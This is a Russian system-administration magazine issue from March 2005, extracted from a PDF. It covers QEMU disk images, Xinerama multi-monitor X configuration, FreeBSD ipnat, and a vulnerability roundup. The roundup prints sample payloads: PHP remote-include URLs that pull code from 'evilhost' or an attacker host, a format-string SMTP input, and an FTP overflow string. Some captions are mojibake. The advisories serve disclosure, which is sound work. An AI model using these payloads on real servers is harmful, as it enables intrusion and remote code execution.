По умолчанию под гостевую операционную систему отводится 128 Мб оперативной памяти, указав при помощи опции -m другое число, можно задать требуемый объем. При запуске qemu эмулирует ту же аппаратную среду, в которой он запускается, т.е. при запуске на Pentium будет подражать Pentium, а если PowerPC, то будет запущен еще один PowerPC-компьютер и т. д. Если же необходима эмуляция систем отличной архитектуры, то запускаем специальную версию утилиты (qemu-system-ppc, qemu-system-sparc).


администрирование Как говорилось выше, на сайте проекта имеются готовые образы различных операционных систем и архитектур. Версии небольшого объема не всегда могут удовлетворять по функциональности, а архивы более 1 Гб тащить из Интернета накладно, поэтому лучше такой образ подготовить и самому, собрав в него самые необходимые приложения. Для этих целей используется утилита qemu-img, при помощи которой создается новый виртуальный жесткий диск. # qemu-img create linux.img 1500M

Хотя никто не мешает использовать для этих целей и dd.

# qemu-img convert –f cow

cowimage.cow image.raw

При этом может быть задан как входной, так и выходной формат образа, поддерживаются raw, qcow (удобен для маленьких файлов, поддерживает шифрование и сжатие), cow, формат VMWare – vmdk и cloop (Linux Compressed Loop) для образов CD-ROM. Использовав команду info, можно получить информацию о готовом образе. В некоторых случаях может возникнуть необходимость в замене параметров загрузки Linux-системы, записанной на виртуальный диск. Сделать это можно при помощи опций -kernel, -initrd и -append. Значения которых совпадают с таковыми в конфигурационных файлах загрузчиков.

# dd of=hd.img bs=1024 seek=1048576 count=0

После того как такой жесткий диск создан, можно устанавливать в него операционную систему. # qemu -hda linux.img -cdrom /dev/cdrom -boot d

В этом примере мы указываем qemu на то, что жесткий диск находится в контейнере hdd.img, в качестве CD-ROM устройства /dev/cdrom и загрузка будет происходить с CDROM (параметр -boot d). Последний параметр в нашем примере необходим, так как по умолчанию qemu будет загружаться с жесткого диска. Если нужно указать на загрузку с дискеты, используется -boot а, с жесткого диска -boot с. Естественно, никто не мешает вместо реального диска использовать его iso-образ. Но большинство дистрибутивов распространяется не на одном, а на нескольких дисках, поэтому необходимо дополнительное управление, которое обеспечивается при помощи опции -monitor, открывающей терминал, в котором можно изменять параметры эмуляции, выбирать другое устройство, либо исходный файл. # qemu -monitor stdio -hda linux.img ↵ -cdrom altlinux_cd1.iso -boot d

И когда установятся пакеты с первого образа, заменяем файл. # qemu change -cdrom altlinux_cd2.iso

После окончания процесса установки можно загружаться с полученного образа. # qemu linux.img

Кроме того, qemu поддерживает образы формата COW (Copy On Write), используемые в User Mode Linux. Такой образ занимает меньше места, так как при его использовании запоминаются только изменения. Для формирования cow-образа используется утилита qemu-mkcow с указанием размера в мегабайтах. # qemu-mkcow cowimage.cow 1024

Хотя в последнем снимке эта утилита пропала из архива. В будущем вместо нее, очевидно, будет использоваться qemu-img с командой convert.

№3, март 2005

# qemu-fast -nographic -hda linux.img ↵ -kernel bzImage-2.4.21 -append "console=ttyS0 ↵ root=/dev/hda sb=0x220,5,1,5 ide2=noprobe ide3=noprobe ide4=noprobe ide5=noprobe"

Для запуска команды qemu-fast потребуется первоначально изменить гостевое ядро, наложив патч linux-2.6-qemufast.patch, который можно найти в архиве с исходными текстами. Этот режим использует напрямую реальный Memory Management Unit (MMU) вместо эмулируемого при обычном режиме работы qemu. Но с ним работайте осторожно, так как основная и гостевая системы используют одно адресное пространство, что может привести к проблемам безопасности или нарушению стабильности работы основной системы. Кроме того, в режиме qemu-fast пока полноценно поддерживается не вся периферия. Поэтому при работе в Linux лучше использовать KQEMU. Но, скорее всего, скомпилированный модуль, поставляемый вместе с архивом, у вас откажется работать, а в документации не сказано, под какую именно версию ядра он собирался, поэтому необходимо будет собрать модуль самому. Сделать это просто. Распаковываем архив в каталог с исходными текстами qemu. # cd qemu-0.6.1 # tar zxvf /tmp/kqemu-0.6.2-1.tar.gz

После чего собираем qemu, как описано выше. Для успешной компиляции понадобятся исходники рабочего ядра. Работает KQEMU через устройство /dev/kqemu, которое должно создаться самостоятельно. Если этого не произошло, сделайте сами. # mknod /dev/kqemu c 250 0 # chmod 666 /dev/kqemu

После чего модуль можно запускать вручную при помощи /sbin/insmod kqemu, либо при постоянной работе с виртуальными машинами прописать команду в загрузочных скриптах. По умолчанию в /dev/shm KQEMU создает файл большого размера, содержащий ОЗУ виртуальной машины, переменной QEMU_TMPDIR можно переопределить его местонахождение, но делать это рекомендуется только при малом объеме основного ОЗУ, иначе это только замедлит работу виртуальной машины. Для удобства можно запускать qemu не в отдельном окне, а в полноэкранном режиме. Для этого добавляется опция -full-screen, либо можно использовать комбинацию <CTRL+ALT+f>.

11


администрирование Использование user mode-режима также не вызывает особых проблем. Только предварительно необходимо скачать и распаковать архив qemu-gnemul, содержащий библиотеки различных систем (x86, ARM, SPARC и PowerPC). В user mode-режиме работы используются утилиты: qemuarm, qemu-i386, qemu-ppc и qemu-sparc. Для экспериментов можно использовать архив qemu-tests-0.5.1.tar.gz, содержащий версии основных UNIX-утилит, скомпилированных под различные платформы. Вот так можно запустить команду ls, собраную под PPC. # qemu-PPC

./qemu-tests/PPC/ls

По умолчанию необходимые для работы в user modeрежиме библиотеки должны находиться в /usr/gnemul/qemui386, при помощи -L можно указать другое местонахождение. При желании можно с помощью wine (на сайте проекта есть адаптированная версия) запустить в Linux Windowsприложение. Запуск и работа с qemu в Windows аналогична Linux. C:\>qemu.exe -hda guest_image_name.img -boot c -user-net

Кроме того, при установке на рабочем столе появляется ярлык, запускающий скрипт, который помогает в диалоговом режиме ввести необходимые параметры:

Ðèñóíîê 4

Ðèñóíîê 5 Ðèñóíîê 3

Наработки проекта пришлись по вкусу многим, и как результат появились проекты-сателлиты, позволяющие сделать работу с qemu более удобной. Так, свои интерфейсы предлагают проекты KQEmu (http://kqemu.sourceforge.net, рис. 4) под библиотеки Qt3 (стоит обратить внимание, что название этого проекта совпадает с принятым сокращением QEMU Accelerator Module). Запускается он несколько необычно. # kmdr-executor /home/sergej/work/kqemu-0.1/kqemu-0.1.kmdr

Или Qemu Launcher (http://emeitner.f2o.org/projects/qemulauncher) для сторонников GNOME/Gtk-приложений. Для пользователей Windows, вместо того чтобы вбивать каждый раз параметры запуска, рекомендую использовать QGui (http://perso.wanadoo.es/comike, рис.5).

12

Qemu представляет собой довольно мощное приложение, позволяющее эмулировать системы различных архитектур и запускать приложения, собранные под другие операционные системы. Конечно же, подобно прочим эмуляторам он не может выполнять приложения так же быстро, как это происходит на реальной системе, а по скорости он не отстает от проектов вроде Bochs. Но у последнего он однозначно выигрывает по возможностям и удобству работы. При этом если эмуляция используется эпизодически, время от времени, Qemu представляется мне более удобным, чем коммерческий VMWare, ключ к активации или срок использования бесплатной бета-версии, которого имеет привычку заканчиваться в самый неподходящий момент. К тому же Qemu не требует предварительной настройки и подготовки, а сам процесс от компиляции до запуска занимает минимум времени.


bugtraq Множественные уязвимости в ZPanel Программа: ZPanel 2.5b10 и более ранние версии. Опасность: Высокая. Описание: Уязвимости позволяют удаленному пользователю произвести SQL-инъекцию, выполнить произвольные команды и получить доступ к важной информации на системе. 1. SQL-инъекция возможна из-за недостаточной фильтрации входных данных в переменной uname в сценарии index.php. Злоумышленник может определить наличие имени учетной записи и произвести перебор паролей. 2. SQL-инъекция и php-инклудинг возможны из-за некорректной обработки входных данных в сценарии zpanel.php. Пример: http://localhost/zpanel/zpanel.php?page=http://evilhost/shell

3. По умолчанию после установки не удаляется установочный сценарий. Пример: http://localhost/ZPanel/admin/install.php

4. ZPanel использует уязвимые сценарии других производителей, например phpBB Forums 2.0.8a. URL производителя: http://www.thezpanel.com. Решение: Способов устранения уязвимости не существует в настоящее время.

Переполнение буфера при обработке LHA-заголовков во многих продуктах McAfee Программа: McAfee VirusScan, McAfee VirusScan ASaP, McAfee WebShield, McAfee GroupShield, McAfeeNetShield версии библиотек до 4400. Опасность: Высокая. Описание: Уязвимость существует при обработке LHAфайлов в McAfee Antivirus Library. Удаленный пользователь может послать специально сформированный LHA-файл, вызвать переполнение буфера и выполнить произвольный код с привилегиями Local System. URL производителя: http://www.mcafee.com. Решение: Установите обновление с сайта производителя.

Уязвимость форматной строки в MailEnable Программа: MailEnable 1.8 Standard Edition. Опасность: Высокая. Описание: Уязвимость существует из-за недостаточной фильтрации входных данных в SMTP-команде mailto. Удаленный пользователь может послать серверу специально сформированную строку и вызвать отказ в обслуживании. Пример: mailto: %s%s%s\r\n

PHP-инклудинг в mcNews Программа: mcNews 1.3. Опасность: Высокая. Описание: Уязвимость существует в сценарии mcNews/ admin/header.php из-за недостаточной фильтрации входных данных в переменной skinfile. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный php-сценарий на уязвимой системе. Пример: http://[target]/[dir]/mcNews/admin/header.php? ↵ skinfile=http://[attacker]/

URL производителя: http://www.phpforums.net/index.php? dir=dld. Решение: Способов устранения уязвимости не существует в настоящее время.

Переполнение буфера в ArGoSoft FTP Server Программа: ArGoSoft FTP Server 1.4.2.8. Опасность: Высокая. Описание: Уязвимость обнаружена при обработке команды DELE. Удаленный авторизованный пользователь может послать в качестве аргумента команды строку длиной более 2000 символов, вызвать переполнение буфера и выполнить произвольный код на уязвимой системе. Пример: DELE \x41 x 2000

URL производителя: http://www.argosoft.com. Решение: Способов устранения уязвимости не существует в настоящее время.

№3, март 2005

URL производителя: http://www.mailenable.com. Решение: Способов устранения уязвимости не существует в настоящее время.

Повышение привилегий в Sun Solaris Программа: Sun Solaris 7, 8, 9. Опасность: Низкая. Описание: Уязвимость обнаружена в команде newgrp. Локальный пользователь может вызвать переполнение буфера и выполнить произвольный код с root-привилегиями на системе. URL производителя: http://www.novell.com Решение: Установите обновление от производителя.

Переполнение буфера в различных диссекторах в Ethereal Программа: Ethereal 0.9.1 – 0.10.9. Опасность: Средняя. Описание: Несколько переполнений буфера обнаружены в диссекторах Etheric, GPRS-LLC, 3GPP2 A11, IAPP, JXTA и sFlow. Удаленный пользователь может вызвать отказ в обслуживании или выполнить произвольный код на уязвимой системе. Пример/Эксплоит: http://www.securitylab.ru/53246.html. URL производителя: http://www.ethereal.com. Решение: Установите последнюю версию (0.10.10) от производителя.

Составил Александр Антипов

13


администрирование

LINUX XINERAMA: ОДИН МОНИТОР ХОРОШО, А МНОГО ЛУЧШЕ

ПАВЕЛ ЗАКЛЯКОВ Данная статья рассказывает о подключении нескольких мониторов к компьютеру с установленной ОС Linux (RedHat Linux v.7.3, Fedora Core 3 и ASPLinux 10) и приводит рабочие примеры конфигурационных файлов для оконной среды X-Window. Сколько пользователю ни дай, а ему всё мало. Так и хочется сказать: «Таблеток от жадности и побольше, побольше...» Если лет 10 назад у пользователей в основном были 14" CGA- и EGA-модели мониторов и о большем, чем VGA с разрешением 320 х 200 точек при 256 цветах или 640 х 480 при 16 цветах мечтать не приходилось, а большие диагонали и разрешения встречались только в типографиях и на графический станциях, то сейчас многие любители могут за небольшие деньги приобрести такое, что не в каждой типографии есть. Вначале, после VGA стали появляться SVGA-мониторы, диагональ увеличились до 15". Качество и «плоскость» картинки улучшались. Потом были пройдены рубежи 17" и 19", вплоть до 22". После 22" рост на какое-то время приоста-

14

новился. Смотреть на такой монитор было неудобно (уж очень большой), цена заоблачная, плюс не каждая видеокарта могла поддерживать такую махину на максимальных видеорежимах. Специальная видеокарта стоила примерно столько же, сколько и монитор. По истечении некоторого времени появились LCD- и TFT-панели. Если отбросить технологические особенности, то развитие TFT-технологий шло и идёт по тому же пути улучшения качества и увеличения размера диагонали (как следствие – разрешения). Единственное небольшое отличие от пути развития CRT-технологий появилось из-за параллельного развития DVD-индустрии, которая породила новый сегмент рынка – домашние кинотеатры, где нашли своё применение мониторы с диагональю более 22". На сегодняшний день ситуация такова, что продвинутым пользователям 17" мало, а 19" и выше – это дорого. Почувствовав данную ситуацию года четыре назад и учтя тот факт, что AGP-шина в компьютере только одна, многие фирмы стали производить dualhead-видеокарты. На сегодняшний день


администрирование можно сказать, что лишь только самые дешёвые и урезанные версии видеокарт имеют один видеовыход. Все же остальные де факто имеют 2 видеовыхода. Количество людей, использующих мультидисплейные конфигурации в самых различных областях, растёт [8]. Два видеовыхода – это далеко не предел, есть дорогие модели на 3 видеовыхода (вроде Matrox Parhelia 512 или P750) и даже больше [7]. Пока производители видеокарт совершенствовали железо и писали для него «хитрые» драйвера, разработчики операционных систем не стояли в стороне, и начиная с Windows 98 появилась поддержка нескольких видеокарт средствами ОС. Это позволило увеличивать площадь рабочего стола только старыми аппаратными средствами. Если железо и программы готовы, так почему бы не использовать несколько мониторов для работы, особенно если площадь вашего компьютерного стола позволяет? Это ведь очень удобно: в два-три раза больше видимая площадь при относительно малой стоимости. Конечно, есть и некоторые неудобства – половина окна тут, половина окна там (на другом мониторе), но эта проблема частично решается специальным программным обеспечением, перемещающим окна, вроде HydraVision под Windows. Именно по этому пути я и пошёл. Моя история с настройкой началась, когда я совсем недорого купил в 2001 году видеокарту RadeonVE, а чуть позже, где-то через полгода, второй б/у монитор. Драйвера от ATI+HydraVision под NT4.0 работали на ура, а вот под Red Hat Linux v.7.3 пришлось повозиться с настройкой. Второй монитор показывал копию первого, и оба работали на 85 Гц вместо возможных 120 Гц. Мне же хотелось под X иметь и подходящее разрешение, и частоту обновления, и один широкий рабочий стол вместо двух одинаковых. Долгие поиски в конце концов увенчались успехом. Из нескольких документов (на сегодня сохранились лишь [1, 2]) был создан файл /etc/X11/XF86Config-4 следующего содержания: Section "ServerLayout" Option "Xinerama" "on" Identifier "Multi Head" Screen 0 "Screen0" 0 0 Screen 1 "Screen1" LeftOf "Screen0" InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" InputDevice "DevInputMice" "AlwaysCore" EndSection Section "Files" RgbPath FontPath EndSection

"/usr/X11R6/lib/X11/rgb" "unix/:7100"

Section "Module" Load "dbe" Load "extmod" Load "fbdevhw" Load "glx" Load "record" Load "freetype" Load "type1" Load "dri" EndSection Section "InputDevice" Identifier "Keyboard0" Driver "keyboard" Option "XkbRules" "xfree86" Option "XkbModel" "pc104" Option "XkbLayout" "ru" Option "XkbVariant" "winkeys" Option "XkbOptions" "grp:alt_shift_toggle"

№3, март 2005

EndSection Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "Device" "/dev/mouse" Option "Protocol" "IMPS/2" Option "Emulate3Buttons" "no" Option "ZAxisMapping" "4 5" EndSection Section "InputDevice" Identifier "DevInputMice" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/input/mice" Option "ZAxisMapping" "4 5" Option "Emulate3Buttons" "no" EndSection Section "Monitor" DisplaySize 1024 768 ModeLine "1024x768" 135.920 1024 1104 1216 ↵ 1392 768 769 772 814 -hsync +vsync Identifier "Monitor0" VendorName "Samsing" ModelName "Samsung SyncMaster 700IFT (CSH780B*)" HorizSync 30.0 - 98.0 VertRefresh 50.0 - 160.0 Option "dpms" EndSection Section "Monitor" DisplaySize 1024 768 ModeLine "1024x768" 135.920 1024 1104 1216 ↵ 1392 768 769 772 814 -hsync +vsync Identifier "Monitor1" VendorName "Samsung" ModelName "SyncMaster 700IFT (CSH780B*)" HorizSync 30.0 - 98.0 VertRefresh 50.0 - 160.0 Option "dpms" EndSection Section "Device" Identifier Driver VendorName BoardName BusID Screen EndSection

"Videocard0" "radeon" "Videocard vendor" "ATI Radeon VE" "AGP:1:5:0" 0

Section "Device" Identifier Driver VendorName BoardName BusID Screen EndSection

"Videocard1" "radeon" "Videocard vendor" "ATI Radeon VE" "AGP:1:5:0" 1

Section "Screen" Identifier "Screen0" Device "Videocard0" Monitor "Monitor0" DefaultDepth 16 SubSection "Display" Modes "1024x768" Depth 16 EndSubSection EndSection Section "Screen" Identifier "Screen1" Device "Videocard1" Monitor "Monitor1" DefaultDepth 16 SubSection "Display" Depth 16 Modes "1024x768" EndSubSection EndSection

Это позволило в Red Hat Linux v.7.3 иметь один рабочий стол на два монитора с разрешением 2 х 1024 х 768 при 120 Гц.

15


администрирование Замечание 1. После включения режима Xinerama Linux не понимал, что это два монитора, думая что это один большой. Многие окна появлялись половинчато. Половина тут, половина там. Замечание 2. Проигрывание видео на двух мониторах невозможно. Картинка есть только там, где больший процент окна, на другом мониторе окно чёрное. Замечание 3. К сожалению, установить нужный режим и выбрать строчку ModeLine как с помощью xvidtune, так и руками, читая [3], мне не удалось. Тут я пошёл на хитрость. Установил PowerStrip под Windows. Далее шёлкнул правой кнопкой мыши на появившемся значке около часов и выбрал пункты меню «Display profiles» и «Configure».

дующие две строчки, данные из которых после поместил в файл XF86Config-4: [Modelines] 1024x768="1024x768" 135,920 1024 1104 1216 1392 768 ↵ 769 772 814 -hsync +vsync

Всё хорошо, но в X при такой же ModeLine вместо нужного мне 1024 х 768 запускалось меньшее разрешение. Почитав разные документы и подумав немного, как описано в [4], я произвёл расчёт горизонтальной частоты для своего случая: 768 òî÷åê * 120 Ãö * 1,05 = 96,768 ÊÃö

После посмотрел в XF86Config-4 и увидел там: HorizSync

30.0 – 96.0

как видно, полоса оказалась больше 96.0, а «умные» X уменьшили разрешение. Пришлось руками увеличить 96.0, например, до 98.0. После этого нужный видеорежим заработал.

Fedora Core 3 В появившемся окне я выбрал нужный мне видеовыход и нажал «Advanced timing options...».

Появилось окно, где можно менять настройки в реальном времени, сразу отслеживая их изменение.

Методом ручного подбора мне удалось выжать максимум из того, что могли мониторы. Далее я заглянул в файл С:\Program Files\PowerStrip\pstrip.ini и переписал себе сле-

16

Всё прекрасно работало где-то до марта 2005 года, когда мне пришла в голову мысль на второй винчестер установить Linux Fedora Core3 c целью его изучения. Естественно, после установки по умолчанию мои два монитора, как и ранее в RedHat 7.3, показывали одно и то же. «Разве это проблема?» – подумал я и полез в меню «Приложения → Системные параметры → Дисплей» менять настройки.


администрирование Увы, это оказалось проблемой. Скрипт, осуществляющий настройку, содержал ошибку и после выбора двух мониторов просто не позволял нажать кнопку «ok», ругаясь в текстовой консоли, из-под которой были запущены X. Аналогичным образом нельзя было выбрать частоту обновления экрана более 85 Гц. Пришлось перейти к ручному режиму. Недолго думая, я заменил новый файл /etc/X11/xorg.conf старым, проверенным /etc/X11/XF86Config-4 (который можно видеть выше), заменив в нём Option

"Device" "/dev/mouse"

Option

"Device" "/dev/input/mice"

на

однако это не помогло делу. Пришлось прочитать «man radeon», после чего у меня получился следующий конфигурационный файл /etc/X11/xorg.conf для поддержки двух мониторов: Section "ServerLayout" Identifier "dual head configuration" Screen 0 "Screen0" 0 0 InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection #Section "ServerFlags" # Option "Xinerama" "true" #EndSection Section "Files" RgbPath FontPath EndSection

"/usr/X11R6/lib/X11/rgb" "unix/:7100"

Section "Module" Load "dbe" Load "extmod" Load "fbdevhw" Load "glx" Load "record" Load "freetype" Load "type1" Load "dri" EndSection Section "InputDevice" Identifier "Keyboard0" Driver "keyboard" Option "XkbRules" "xfree86" Option "XkbModel" "pc104" Option "XkbLayout" "ru" Option "XkbVariant" "winkeys" Option "XkbOptions" "grp:alt_shift_toggle" EndSection Section "InputDevice" Identifier "Mouse0" Driver "mouse" Option "Device" "/dev/input/mice" Option "Protocol" "IMPS/2" Option "Emulate3Buttons" "no" Option "ZAxisMapping" "4 5" EndSection Section "InputDevice" Identifier "DevInputMice" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/input/mice" Option "ZAxisMapping" "4 5" Option "Emulate3Buttons" "no" EndSection

№3, март 2005

Section "Monitor" Identifier VendorName ModelName DisplaySize HorizSync VertRefresh ModeLine Option EndSection Section "Device" Identifier Driver VendorName BoardName BusID Option Option Option EndSection

"Monitor0" "Samsung" "Samsung SyncMaster 700IFT (CSH780B*)" 1024 768 30.0 - 98.0 50.0 - 160.0 "1024x768" 135.9 1024 1104 1216 ↵ 1392 768 769 772 814 -hsync +vsync "dpms"

"Videocard0" "radeon" "Videocard vendor" "ATI Radeon VE" "AGP:1:5:0" "MonitorLayout" "CRT, CRT" "CRT2Position" "LeftOf" "MergedFB" "yes"

Section "Screen" Identifier "Screen0" Device "Videocard0" Monitor "Monitor0" DefaultDepth 24 SubSection "Display" Depth 24 Modes "1024x768" "800x600" "640x480" EndSubSection EndSection

Замечание 4. Оба монитора у меня одинаковые, режимы работы тоже, поэтому как следствие строчки ModeLine для них тоже одинаковые. На практике через меню монитора проверено – видеорежимы выставлены правильно. Однако если посмотреть внимательнее, то ранее использовались две раздельные строчки ModeLine на каждый монитор, что, на мой взгляд, правильнее. На данный момент для второго видеовыхода можно прописать только: Option "CRT2HSync" "30.0-86.0" Option "CRT2VRefresh" "50.0-120.0"

Но проблемы это не решает, так как возможные диапазоны горизонтальной и вертикальной развёртки – это всётаки не одно и то же, что и ModeLine. Каким способом можно настроить видеовыходы одновременно на разные режимы, пока не известно. Внимательное чтение «man radeon» и эксперименты с xorg.conf результата не дали. Замечание 5. Несмотря на замечание 4, был и положительный момент. Если ранее без включения Xinerama один рабочий стол не получался, то сейчас же рабочий стол получался общим, а панели меню занимали лишь один монитор, при этом разворачивание окна во весь экран шло только на один монитор, что мне показалось удобным. При этом руками окно можно растянуть на два монитора. (Поведение, аналогичное HydraVision.) Если же строки: #Section "ServerFlags" # Option "Xinerama" "true" #EndSection

раскомментировать, то тогда панели меню получались на оба экрана, окошки вылетали по половинкам посередине, а при разворачивании окна занимали площадь двух мониторов. Удобства от такой работы меньше. Поэтому эти строки я оставил закомментированными. На этом можно было бы закончить статью, но...

17


администрирование «Два монитора хорошо, а три лучше...» Имея в наличии под руками лишнюю видеокарту S3 Trio 64v+, я не удержался, чтобы не воткнуть её в и так достаточно набитый системный блок и попытаться подключить ещё один монитор. Во время загрузки карточка была обнаружена kudzu, однако предложенная автонастройка только сбила предыдущие настройки, поэтому опять пришлось перейти в ручной режим правки файла xorg.conf. В результате правки получилось следующее: Section "ServerLayout" Identifier "dual head configuration" Screen 0 "Screen1" 0 0 Screen 1 "Screen0" RightOf "Screen1" InputDevice "Mouse0" "CorePointer" InputDevice "Keyboard0" "CoreKeyboard" EndSection Section "ServerFlags" Option "Xinerama" "true" EndSection Section "Files" RgbPath FontPath EndSection

"/usr/X11R6/lib/X11/rgb" "unix/:7100"

Section "Module" Load "dbe" Load "extmod" Load "fbdevhw" Load "glx" Load "record" Load "freetype" Load "type1" Load "dri" EndSection Section "InputDevice" Identifier Driver Option Option Option Option Option EndSection

"Keyboard0" "keyboard" "XkbRules" "xfree86" "XkbModel" "pc104" "XkbLayout" "ru" "XkbVariant" "winkeys" "XkbOptions" "grp:alt_shift_toggle"

Section "InputDevice" # Modified by mouseconfig # Option "Device" "/dev/mouse" Identifier "Mouse0" Driver "mouse" Option "Device" "/dev/input/mice" Option "Protocol" "IMPS/2" Option "Emulate3Buttons" "no" Option "ZAxisMapping" "4 5" EndSection Section "InputDevice" Identifier "DevInputMice" Driver "mouse" Option "Protocol" "IMPS/2" Option "Device" "/dev/input/mice" Option "ZAxisMapping" "4 5" Option "Emulate3Buttons" "no" EndSection Section "Monitor" Identifier VendorName ModelName DisplaySize HorizSync VertRefresh ModeLine Option EndSection Section "Monitor"

18

"Monitor0" "Samsung" "Samsung SyncMaster 700IFT (CSH780B*)" 1024 768 30.0 - 98.0 50.0 - 160.0 "1024x768" 135.9 1024 1104 1216 ↵ 1392 768 769 772 814 -hsync +vsync "dpms"

Identifier VendorName ModelName DisplaySize HorizSync VertRefresh Option "dpms" EndSection

"Monitor1" "Samsung" "My TFT Monitor" 1024 768 30.0 - 98.0 50.0 - 160.0

Section "Device" Identifier Driver VendorName BoardName BusID Option Option Option EndSection

"Videocard0" "radeon" "Videocard vendor" "ATI Radeon VE" "AGP:1:5:0" "MonitorLayout" "CRT, CRT" "CRT2Position" "LeftOf" "MergedFB" "yes"

Section "Device" Identifier Driver BoardName BusID EndSection

"Videocard1" "s3" "S3" "PCI:0:10:0"

#!! #!!

Section "Screen" Identifier "Screen0" Device "Videocard0" Monitor "Monitor0" DefaultDepth 16 SubSection "Display" Depth 16 Modes "1024x768" "800x600" "640x480" EndSubSection EndSection Section "Screen" Identifier "Screen1" Device "Videocard1" Monitor "Monitor1" DefaultDepth 16 SubSection "Display" Depth 16 Modes "1024x768" "800x600" "640x480" EndSubSection EndSection

Как видно, пришлось добавить разделы описания нового монитора и видеокарты и указать физическое расположение мониторов относительно друг друга. Ничего сложного в настройке двух видеокарт нет, всё должно быть интуитивно понятно. На мой взгляд, единственный вопрос, который может возникнуть, – это откуда берётся строчка: BusID

"PCI:0:10:0"

Для получения значения BusID можно заглянуть в файл /etc/sysconfig/hwconf и найти нужную видеокарту либо проще – запустить lspci и среди выведенного списка PCI-устройств найти нужное. # lspci .... 00:08.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10) 00:09.0 Communication controller: NetMos Technology: Unknown device 9805 (rev 01) 00:0a.0 VGA compatible controller: S3 Inc. 86c764/765 [Trio32/64/64V+] (rev 54) 01:05.0 VGA compatible controller: ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE]

AGP-устройства выводятся вместе с PCI, при этом у PCIустройств вначале идёт цифра 0(00:0a.0), а у AGP – 1(01:05.0). Первое поясняющее поле у BusID не влияет на работу X,


администрирование поэтому не важно, PCI или AGP вы там напишете, это нужно для наглядности. Замечание 6. Про несоответствие видеорежимов на мониторах. При различных глубинах цветности на разных мониторах X не запускаются. Например, если у вас одна карточка не поддерживает 24 бита цветности, а другая поддерживает, придётся снизить значение у последней. Если разрешение на каком-то мониторе меньше, то создаётся виртуальный рабочий стол большего размера. При подведении курсора мыши к краю окна просмотра видимое поле вместе с курсором начинает двигаться вплоть до противоположной стороны виртуального экрана. Замечание 7. Если режим Xinerama в последнем конфигурационном файле выключен, то пользователь видит два рабочих «меню программ» и два рабочих стола, не связанных друг с другом. Фактически для пользователя мониторы выглядят как два не связанных сеанса X. Единственная связь между которыми – это то, что пользователь может перемещать курсор мышки из одного монитора в другой. Несмотря на то, что курсор свободно путешествует между рабочими столами разных видеокарт, окна и меню перетащить нельзя. Создание скриншота рабочего стола для обоих частей работает раздельно. При включенном режиме Xinerama все три монитора рассматриваются как единый рабочий стол. Естественно, скриншот снимается один со всей рабочей области. При этом растянуть меню на все три монитора нельзя, а окна можно. Либо меню находится на мониторе от S3 либо одновременно на двух от Radeon.

№3, март 2005

Замечание 8. Всё написанное выше для Fedora Core 3 справедливо для ASP Linux 10. Надеюсь, что настройка X через правку xorg.conf не показалась вам сложной и при аналогичном подключении нескольких мониторов в вашей конфигурации к одной или более видеокартам не вызовет проблем.

Ссылки: 1. Radeon VE Dual Display Support with Linux/XFree86: http:// www.polylith.com/~brendan/UnixBoxes/RadeonVE.html. 2. Multiple Monitors with X Mini Guide: http://www.linuxlookup.com/modules.php?op=modload&name=Sections&file= index&req=viewarticle&artid=13&page=1. 3. Настройка режима монитора в XFree86: http://www.inp.nsk.su/ ~buzykaev/xf_monitor.html, http://knot.pu.ru/faq/xfaq.html. 4. Связь между полосой пропускания, частотой кадров и частотой горизонтальной развертки: http://www.samsung.ru/ support/products/displays/faq/?id=114. 5. Another Quick How-To for Dual-X-Headed/Legged Linux: http://www.disjunkt.com/dualhead. 6. Из архива сообщений Re: [K12OSN] 1PC+4KVM=4users/ PC: http://www.redhat.ru/archives/k12osn/2004-May/ msg00260.html. 7. Matrox Graphics. Multi-display products: http://www.matrox.com/ mga/multidisplay/product_chart.cfm. 8. Welcome to the Multi-display community: http://www.matrox.com/ mga/multidisplay/md_testimonials.cfm. 9. Using Xinerama to MultiHead XFree86 V. 4.0+: http:// www.tldp.org/HOWTO/Xinerama-HOWTO/index.html.

19


администрирование

FreeBSD TIPS: ИСПОЛЬЗОВАНИЕ ipnat

СЕРГЕЙ СУПРУНОВ В одной из предыдущих статей [1] было рассмотрено построение сервера NAT на основе FreeBSD и natd. Данная статья будет посвящена другому средству – модулю ipnat, входящему в пакет IPFilter. Сам IPFilter уже рассматривался на страницах журнала [2]. Некоторые основополагающие моменты я повторю, чтобы сохранить целостность и самодостаточность этого материала, а сосредоточимся мы именно на построении сервера NAT. Во FreeBSD 5.3 IPFilter (ipf), входящий в состав системы, может быть встроен в ядро, для чего ядро нужно пересобрать с опциями IPFILTER и IPFILTER_LOG. Так же ipf может быть запущен как модуль. Я воспользуюсь второй возможностью. Итак, ядро трогать не будем. Для работы ipnat фильтр ipf должен быть настроен и запущен. В простейшем случае достаточно запустить его с парой правил, разрешающих прохождение любых пакетов, что может быть оправдано в том случае, если регулирование пакетов вы уже осуществляете другим фильтром. Правила заносятся по умолчанию в /etc/ipf.rules: Ôàéë /etc/ipf.rules pass in from any to any pass out from any to any

20

Запуск фильтра можно выполнить из командной строки: # ipf -Fa -f /etc/ipf.rules

Ключ -Fa очищает все ранее заданные правила и загружает те, которые перечислены в конфигурационном файле. Для автоматического запуска фильтра при перезагрузке добавьте опцию «ipfilter_enable = “YES”» в /etc/rc.conf. Если поддержка фильтра не включалась в ядро, в списке подгруженных модулей появится модуль ipl.ko. Аналогично правила трансляции адресов записываются по умолчанию в файл /etc/ipnat.rules. Запуск ipnat выполняется командой: # ipnat -CF -f /etc/ipnat.rules

Ключ -C очищает таблицу правил, ключ -F удаляет записи из таблицы трансляций. Поскольку ipnat является, по сути, частью пакетного фильтра, то никакого перенаправления трафика на вход этого NAT-сервера не требуется. Входящие пакеты сначала будут подвергаться трансляции (пройдут через правила ipnat), затем поступят на вход ipf. Исходящие пакеты, наоборот, сначала фильтруются на ipf, а что будет пропущено, подвергается трансляции в соответствии с правилами ipnat.


